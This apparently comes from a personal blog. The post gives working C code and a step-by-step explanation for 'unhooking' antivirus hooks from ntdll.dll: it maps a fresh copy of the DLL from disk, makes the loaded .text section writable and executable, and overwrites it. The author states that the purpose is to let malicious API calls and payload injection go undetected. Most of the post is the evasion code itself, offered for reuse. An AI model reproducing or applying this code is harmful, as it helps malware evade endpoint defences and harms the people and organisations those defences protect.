Process unhooking by reading ntdll.dll fresh copy

Hi All,

I am going to share a simple code to allow you to unhook AV engine from the NTDLL by overwritting dll loaded into the process with the fresh copy of the dll. The expectation of overwritting the dll is to remove the hooked NTDLL API where the impact is no detection by the AV.

We can see that there are 2 NTDLL has been loaded. Number 1 is the fresh copy of ntdll.dll file that we load using hFile = CreateFile((LPCSTR)sNtdllPath, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);. Number 2 is the ntdll.dll that is loaded during the process creation

Below is the API (Adjust Privileges Token) without the AV hook hence any malicious action will not be stop or raise any flags. We can see the pattern mov r10,rcx

Below is the API (Adjust Privileges Token) with the AV hook hence any malicious call to this API will be diverted to AV engine for analyses which might raise detection flags

Below is the function code to overwrite the loaded DLL

static int UnhookNtdll(const HMODULE hNtdll, const LPVOID pMapping) {
	/*
		UnhookNtdll() finds .text segment of fresh loaded copy of ntdll.dll and copies over the hooked one
	*/
	DWORD oldprotect = 0;
	PIMAGE_DOS_HEADER pImgDOSHead = (PIMAGE_DOS_HEADER)pMapping;
	PIMAGE_NT_HEADERS pImgNTHead = (PIMAGE_NT_HEADERS)((DWORD_PTR)pMapping + pImgDOSHead->e_lfanew);
	int i;

	unsigned char sVirtualProtect[] = { 'V','i','r','t','u','a','l','P','r','o','t','e','c','t', 0x0 };

	VirtualProtect_t VirtualProtect_p = (VirtualProtect_t)GetProcAddress(GetModuleHandle((LPCSTR)sKernel32), (LPCSTR)sVirtualProtect);

	// find .text section
	for (i = 0; i < pImgNTHead->FileHeader.NumberOfSections; i++) {

		//Get the section of the PE Image of loaded fresh dll file
		PIMAGE_SECTION_HEADER pImgSectionHead = (PIMAGE_SECTION_HEADER)((DWORD_PTR)IMAGE_FIRST_SECTION(pImgNTHead) +
			((DWORD_PTR)IMAGE_SIZEOF_SECTION_HEADER * i));

		if (!strcmp((char*)pImgSectionHead->Name, ".text")) {
			// prepare ntdll.dll memory region for write permissions.
			VirtualProtect_p((LPVOID)((DWORD_PTR)hNtdll + (DWORD_PTR)pImgSectionHead->VirtualAddress),
				pImgSectionHead->Misc.VirtualSize,
				PAGE_EXECUTE_READWRITE,
				&oldprotect);
			if (!oldprotect) {
				// RWX failed!
				return -1;
			}
			// copy fresh .text section into ntdll memory
			memcpy((LPVOID)((DWORD_PTR)hNtdll + (DWORD_PTR)pImgSectionHead->VirtualAddress),
				(LPVOID)((DWORD_PTR)pMapping + (DWORD_PTR)pImgSectionHead->VirtualAddress),
				pImgSectionHead->Misc.VirtualSize);

			// restore original protection settings of ntdll memory
			VirtualProtect_p((LPVOID)((DWORD_PTR)hNtdll + (DWORD_PTR)pImgSectionHead->VirtualAddress),
				pImgSectionHead->Misc.VirtualSize,
				oldprotect,
				&oldprotect);
			if (!oldprotect) {
				// it failed
				return -1;
			}
			return 0;
		}
	}

	// failed? .text not found!
	return -1;
}

In the above code there are some important section to enable the overwritting to be successful.

The Loop

This loop to enumerate every section available in the loaded image. The target for enumeration is to find the .text section

static int UnhookNtdll(const HMODULE hNtdll, const LPVOID pMapping) {

	DWORD oldprotect = 0;
	PIMAGE_DOS_HEADER pImgDOSHead = (PIMAGE_DOS_HEADER)pMapping;
	PIMAGE_NT_HEADERS pImgNTHead = (PIMAGE_NT_HEADERS)((DWORD_PTR)pMapping + pImgDOSHead->e_lfanew);
	int i;

	// Looping every section 
	for (i = 0; i < pImgNTHead->FileHeader.NumberOfSections; i++) {

		//Get the section of the PE Image of loaded fresh dll file
		PIMAGE_SECTION_HEADER pImgSectionHead = (PIMAGE_SECTION_HEADER)((DWORD_PTR)IMAGE_FIRST_SECTION(pImgNTHead) +
			((DWORD_PTR)IMAGE_SIZEOF_SECTION_HEADER * i));

		printf("Header Section Name %s \n", pImgSectionHead->Name);

	}
	// failed? .text not found!
	return -1;
}

Virtual Protect for RWX

This code is to allow the memory address range of ntdll.dll that has been loaded to be RWX (PAGE_EXECUTE_READWRITE) so that it can be overwritten with the fresh copy that we load from the NTDLL file

VirtualProtect_p((LPVOID)((DWORD_PTR)hNtdll + (DWORD_PTR)pImgSectionHead->VirtualAddress),
				pImgSectionHead->Misc.VirtualSize,
				PAGE_EXECUTE_READWRITE,
				&oldprotect);

Overwritting the memory

Righ after the memory range (.text section) protection has been changed to be writeable then we can start to copy the fresh copy of the ntdll.dll to the address range. We copy the .text section which contain the execution code of the ntdll.dll

memcpy((LPVOID)((DWORD_PTR)hNtdll + (DWORD_PTR)pImgSectionHead->VirtualAddress),
				(LPVOID)((DWORD_PTR)pMapping + (DWORD_PTR)pImgSectionHead->VirtualAddress),
				pImgSectionHead->Misc.VirtualSize);

After the fresh the copy of the ntdll.dll has bee fully in place in the memory address range of the old NTDLL then we need to return back the memory protection to the OLD protection using the VirtualProtect API. Remember that in the previous VirtualProtect call, we store the value of previous protection flag (oldprotect) before we change it to become RWX which we can use the flag to restore to its original memory protection

We can see that we are able to inject the payload because we overwrite the ntdll.dll that has been hooked with AV call with a fresh copy of ntdll.dll

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out /  Change )

Twitter picture

You are commenting using your Twitter account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

Connecting to %s